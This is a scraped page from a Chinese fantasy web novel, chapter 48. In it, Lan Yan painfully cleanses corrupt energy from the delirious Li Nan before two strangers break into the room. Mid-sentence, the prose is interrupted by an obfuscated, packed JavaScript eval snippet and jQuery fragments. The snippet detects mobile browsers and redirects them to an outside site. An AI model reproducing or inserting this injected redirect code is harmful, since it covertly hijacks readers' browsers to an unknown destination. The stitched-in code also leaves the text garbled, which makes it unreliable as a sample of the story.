48. 木头鱼(第2页)
他脑袋里嗡的一声,又控制不住体内暴乱的气息,垂眼时岚烟洁白的手腕都能晃花他的精神,直接一口咬了上去。
但被那人轻松躲掉。
视野重回黑暗,他再度回神。
“……抱歉!”他将舌头卷到深处,用力咬了下,疼痛刺激他清醒在当下,努力睁大眼睛,努力看清眼前的人,努力地哀求,“我……不要杀我……我,可以的!”
他的角度是这样,可岚烟眼中,他那双漂亮的凤眼猩红,是神智不清。
银发还湿着,颊边伤口的血液被脸上的水带下来,半边脸混乱得不成样子,不知道他做了什么,这会说话时,嘴角也溢下来星点的血丝。
让他原本那张清雅的脸增添不少艳丽。
尤其是这张脸毫无意识却又一声一声,恳切地唤她。
“阿烟……别杀我……阿烟我求你……”
围满室间的白晶也在变化,攀上密密麻麻的杂质。
岚烟环视一周,视线重新放在黎难脸上,又向前挪了半步,腿蹭着他已经冻住的膝盖,微微俯身,抬手覆上他的脸。
“黎难。我是谁。”
黎难的瞳孔颤了颤,缓缓对向她的眸子,启唇:“岚烟。”
“我们在哪?”
“鱼船。”
“你答应过我什么?”
“助你断山——练字——法术……”
唇瓣一开一合,说得极缓,极轻,刚还聚焦的眼神此刻又像是跑去了不知何处。
岚烟眼睛暗下去。
助我断山?
她淡然的神色多了些别样的复杂情绪,静静望着身下人片刻。
浓黑的睫毛眨了三下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15967503|172181||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,之后,忽然轻柔地拍了拍他的脸。
“好,我不杀你,但如果一日后你依旧不死不活……”
岚烟眨了下眼,“黎难,我会记着你的。”
黎难都辨不清她在说什么,只依稀看见面前的人突然起势捏了个手诀,细长的手指伸展,从掌心里冒出温和的法力。
灵气涌出,如奔流大河,猛地冲向黎难的四肢百骸。
每过一寸皮肤,一寸血脉,就温和又残忍地撕拽下那上面附着的浊气,剥离得细致,丝毫不顾那之上残带的灵肉。
黎难只觉得这时候自己的身体从皮到内里被人剖开,正毫不怜惜地被她揉搓清洗着,他难受得目眦俱裂,狠咬着牙都忍不下这痛,疼得上不来气,张嘴猛喘,仰头向后墙撞去。
却突然,张开的唇间被卡进了虎口,那只不特别细嫩的手压着他的脑袋抵在墙上,让他没法咬舌自尽,也没法后脑破洞。
就这么煎熬着,继续被那片河水柔和地洗刷。
岚烟掌心法力不减反增。
手下那人顿时又难耐地从嗓子眼里挤出痛吟,虎口硌着的牙打着颤,都没有用来忍痛将牙齿刺入她的皮肤。
岚烟两只手都不敢懈怠,烘干的额发再次被汗水打湿,看着他凌乱的脸叫他的名字。
那双半阖的眼挣扎着睁开,眸光殷红闪烁,留在外的脑袋带着肩颈不住抖动。
她此刻突然很感谢黎难将自己冻住的举动,实在是帮了很大的忙,就是他连挣动都不能,太可怜。
岚烟想着,应该是为了不辜负他的努力,也不管法力消耗的心力,调动所有精神,让那浅光笼罩在他身上。
时间和精力一起流淌。
不知过了多久,也许是一天,也许又过一夜。
黎难用尽了全身力气,晕过去又疼醒来无数次,连声音都难发出的时候,岚烟终于看到一丝希望。
封固在两人中间和周围墙壁上的晶石正慢慢变得白净,他瞳孔的红也缓缓褪去。
岚烟乘胜追击,法力一提,将他身上最后一片领地洗刷过去,再上下探查一遍,发现覆盖在身上浅层的浊气都清除后,终于收手。
大功告成……
放下输送法力的手,而另一只卡在黎难齿间的手,暂时还在举着,只是轻轻收掉力道,让他晕厥脱力的脑袋不至于从脖子上掉下去。
安静。
汗水滑进眼中,刺痛让岚烟反应了下,惊觉自己竟在这怔然了小片刻。
无声的叹息从口中漏出,她收回僵硬的右手,拆掉黎难身上的白晶,将人从那废墟里拖了出来。
他满身咸湿的海水,面上则是混着泪与血,早就一塌糊涂,像是搭在渔人家中的一张破网。
室中爬满的白晶还未退掉,岚烟也无处可去,就将黎难拖进怀里靠坐在墙边,任这人无力绵软的身子倒在肩侧。
潮湿从她衣衫渗入,她才记起要将他整理一番。
但是她很疲惫,抬手又垂下,试了几次终于做到,两个人干干净净地贴在一起,于是又开始想去捡零落在四周的杂物。
嗯……那是黎难的身家性命来着。
刚想把人从怀中挪开,突然,房间出现一声巨响,她拧眉望去,再次搂紧了臂弯中的人。
只见身前白晶封死的墙面被大力击穿,碎石在室中飞弹了几个来回后停下,然后“嘎吱”一声,藏在那之后的门开,一道暖光从中倾泻进寒冷的小室。
地板映出一大一小两道影子。
岚烟遮着眼睛去看,有个扶着门板,看起来不好惹的络腮胡大块头,正皱着眉头向来瞧,粗糙的嗓子带着口音悄声问她:“这是如何了?”
另一个瘦猴一样和大块头同等黑皮的小孩溜出个脑袋,也问:“黎大哥……没死吧?”
然后就被那络腮胡敲了脑壳:“会不会说话,滚去拿水!”
而络腮胡凶神恶煞的做完那一举动后,立刻又换上挤出的和善笑容,轻手轻脚向岚烟这走:“孩子直言惯了,这位大人你也别介意啊——”
说完,深邃的眼睛十分纠结地在她和黎难身上转了一圈,试探道:“黎大人,真没死吧?”
岚烟:“……暂时没有。”